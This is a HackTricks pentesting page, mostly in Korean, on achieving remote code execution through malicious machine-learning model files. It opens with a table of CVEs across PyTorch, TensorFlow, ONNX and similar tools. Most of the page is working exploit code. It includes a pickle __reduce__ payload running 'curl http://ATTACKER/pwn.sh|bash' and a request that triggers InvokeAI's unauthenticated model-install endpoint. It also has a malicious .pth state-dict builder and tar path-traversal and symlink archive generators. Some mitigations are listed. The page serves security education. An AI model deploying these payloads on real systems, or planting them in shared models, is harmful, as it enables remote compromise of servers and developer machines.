Models RCE
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Loading models to RCE
Machine Learning 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양한 형식으로 공유됩니다. 이러한 모델은 개발자의 머신이나 프로덕션 시스템에 로드되어 사용될 수 있습니다. 일반적으로 모델에는 악성 코드가 포함되지 않아야 하지만, 모델 로딩 라이브러리의 취약점이나 의도된 기능으로 인해 시스템에서 임의 코드를 실행하는 데 사용될 수 있는 경우가 있습니다.
이 글을 작성할 당시 이러한 유형의 취약점 몇 가지 예시는 다음과 같습니다:
Framework / Tool | Vulnerability (CVE if available) | RCE Vector | References |
---|---|---|---|
PyTorch (Python) | Insecure deserialization in torch.load (CVE-2025-32434) | 악성 pickle이 모델 체크포인트에 포함되어 코드 실행 ( weights_only 보호 장치를 우회) | |
PyTorch TorchServe | ShellTorch – CVE-2023-43654, CVE-2022-1471 | SSRF + 악성 모델 다운로드로 코드 실행; 관리 API에서 Java deserialization RCE | |
TensorFlow/Keras | CVE-2021-37678 (unsafe YAML) CVE-2024-3660 (Keras Lambda) | YAML에서 모델 로딩 시 yaml.unsafe_load 사용 (코드 실행) Lambda 레이어로 모델 로딩 시 임의의 Python 코드 실행 | |
TensorFlow (TFLite) | CVE-2022-23559 (TFLite parsing) | 조작된 .tflite 모델이 정수 오버플로우를 유발 → 힙 손상 (잠재적 RCE) | |
Scikit-learn (Python) | CVE-2020-13092 (joblib/pickle) | joblib.load 를 통해 모델을 로딩하면 공격자의 __reduce__ 페이로드가 포함된 pickle이 실행됨 | |
NumPy (Python) | CVE-2019-6446 (unsafe np.load ) disputed | numpy.load 기본값이 피클된 객체 배열을 허용 – 악성 .npy/.npz 가 코드 실행을 유발 | |
ONNX / ONNX Runtime | CVE-2022-25882 (dir traversal) CVE-2024-5187 (tar traversal) | ONNX 모델의 외부 가중치 경로가 디렉토리를 탈출할 수 있음 (임의 파일 읽기) 악성 ONNX 모델 tar가 임의 파일을 덮어쓸 수 있음 (RCE로 이어짐) | |
ONNX Runtime (design risk) | (No CVE) ONNX custom ops / control flow | 사용자 정의 연산자가 있는 모델은 공격자의 네이티브 코드를 로딩해야 함; 복잡한 모델 그래프가 논리를 악용하여 의도하지 않은 계산을 실행함 | |
NVIDIA Triton Server | CVE-2023-31036 (path traversal) | --model-control 이 활성화된 모델 로드 API를 사용하면 상대 경로 탐색이 가능하여 파일을 쓸 수 있음 (예: RCE를 위한 .bashrc 덮어쓰기) | |
GGML (GGUF format) | CVE-2024-25664 … 25668 (multiple heap overflows) | 잘못된 GGUF 모델 파일이 파서에서 힙 버퍼 오버플로우를 유발하여 피해 시스템에서 임의 코드 실행을 가능하게 함 | |
Keras (older formats) | (No new CVE) Legacy Keras H5 model | 악성 HDF5 (.h5 ) 모델이 Lambda 레이어 코드를 포함하고 있어 로딩 시 여전히 실행됨 (Keras safe_mode는 구형 포맷을 커버하지 않음 – “다운그레이드 공격”) | |
Others (general) | Design flaw – Pickle serialization | 많은 ML 도구 (예: pickle 기반 모델 형식, Python pickle.load )는 완화되지 않는 한 모델 파일에 포함된 임의 코드를 실행함 |
또한, PyTorch에서 사용되는 것과 같은 Python pickle 기반 모델은 weights_only=True
로 로드되지 않으면 시스템에서 임의 코드를 실행하는 데 사용될 수 있습니다. 따라서, 테이블에 나열되지 않은 경우에도 모든 pickle 기반 모델은 이러한 유형의 공격에 특히 취약할 수 있습니다.
🆕 InvokeAI RCE via torch.load
(CVE-2024-12029)
InvokeAI
는 Stable-Diffusion을 위한 인기 있는 오픈 소스 웹 인터페이스입니다. 버전 5.3.1 – 5.4.2는 사용자가 임의의 URL에서 모델을 다운로드하고 로드할 수 있는 REST 엔드포인트 /api/v2/models/install
를 노출합니다.
내부적으로 이 엔드포인트는 결국 다음을 호출합니다:
checkpoint = torch.load(path, map_location=torch.device("meta"))
When the supplied file is a PyTorch checkpoint (*.ckpt
), torch.load
performs a pickle deserialization. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom __reduce__
method inside the checkpoint; the method is executed during deserialization, leading to remote code execution (RCE) on the InvokeAI server.
The vulnerability was assigned CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).
Exploitation walk-through
- 악성 체크포인트 생성:
# payload_gen.py
import pickle, torch, os
class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
- 당신이 제어하는 HTTP 서버에
payload.ckpt
를 호스팅합니다 (예:http://ATTACKER/payload.ckpt
). - 취약한 엔드포인트를 트리거합니다 (인증 필요 없음):
import requests
requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt", # remote model URL
"inplace": "true", # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={}, # body can be empty
timeout=5,
)
- InvokeAI가 파일을 다운로드할 때
torch.load()
를 호출합니다 →os.system
가젯이 실행되고 공격자는 InvokeAI 프로세스의 컨텍스트에서 코드 실행을 얻습니다.
기성 익스플로잇: Metasploit 모듈 exploit/linux/http/invokeai_rce_cve_2024_12029
가 전체 흐름을 자동화합니다.
조건
• InvokeAI 5.3.1-5.4.2 (스캔 플래그 기본값 false)
• /api/v2/models/install
공격자가 접근 가능
• 프로세스가 셸 명령을 실행할 수 있는 권한을 가짐
완화 조치
- InvokeAI ≥ 5.4.3로 업그레이드 – 패치는 기본적으로
scan=True
로 설정하고 역직렬화 전에 악성 코드 스캔을 수행합니다. - 체크포인트를 프로그래밍적으로 로드할 때
torch.load(file, weights_only=True)
또는 새로운torch.load_safe
헬퍼를 사용합니다. - 모델 소스에 대한 허용 목록/서명을 시행하고 최소 권한으로 서비스를 실행합니다.
⚠️ 모든 Python pickle 기반 형식(많은
.pt
,.pkl
,.ckpt
,.pth
파일 포함)은 신뢰할 수 없는 소스에서 역직렬화하는 것이 본질적으로 안전하지 않다는 것을 기억하세요.
리버스 프록시 뒤에서 이전 InvokeAI 버전을 계속 실행해야 하는 경우의 임시 완화 조치 예:
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
예시 – 악성 PyTorch 모델 만들기
- 모델 생성:
# attacker_payload.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
- 모델 로드:
# victim_load.py
import torch
import torch.nn as nn
class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)
model = MyModel()
# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
Models to Path Traversal
As commented in this blog post, 대부분의 AI 프레임워크에서 사용되는 모델 형식은 아카이브를 기반으로 하며, 일반적으로 .zip
입니다. 따라서 이러한 형식을 악용하여 경로 탐색 공격을 수행할 수 있으며, 모델이 로드된 시스템에서 임의의 파일을 읽을 수 있습니다.
For example, with the following code you can create a model that will create a file in the /tmp
directory when loaded:
import tarfile
def escape(member):
member.name = "../../tmp/hacked" # break out of the extract dir
return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)
다음 코드를 사용하면 로드될 때 /tmp
디렉토리에 대한 심볼릭 링크를 생성하는 모델을 만들 수 있습니다:
import tarfile, pathlib
TARGET = "/tmp" # where the payload will land
PAYLOAD = "abc/hacked"
def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member
with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
References
- OffSec 블로그 – "CVE-2024-12029 – InvokeAI 신뢰할 수 없는 데이터의 역직렬화"
- InvokeAI 패치 커밋 756008d
- Rapid7 Metasploit 모듈 문서
- PyTorch – torch.load에 대한 보안 고려사항
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.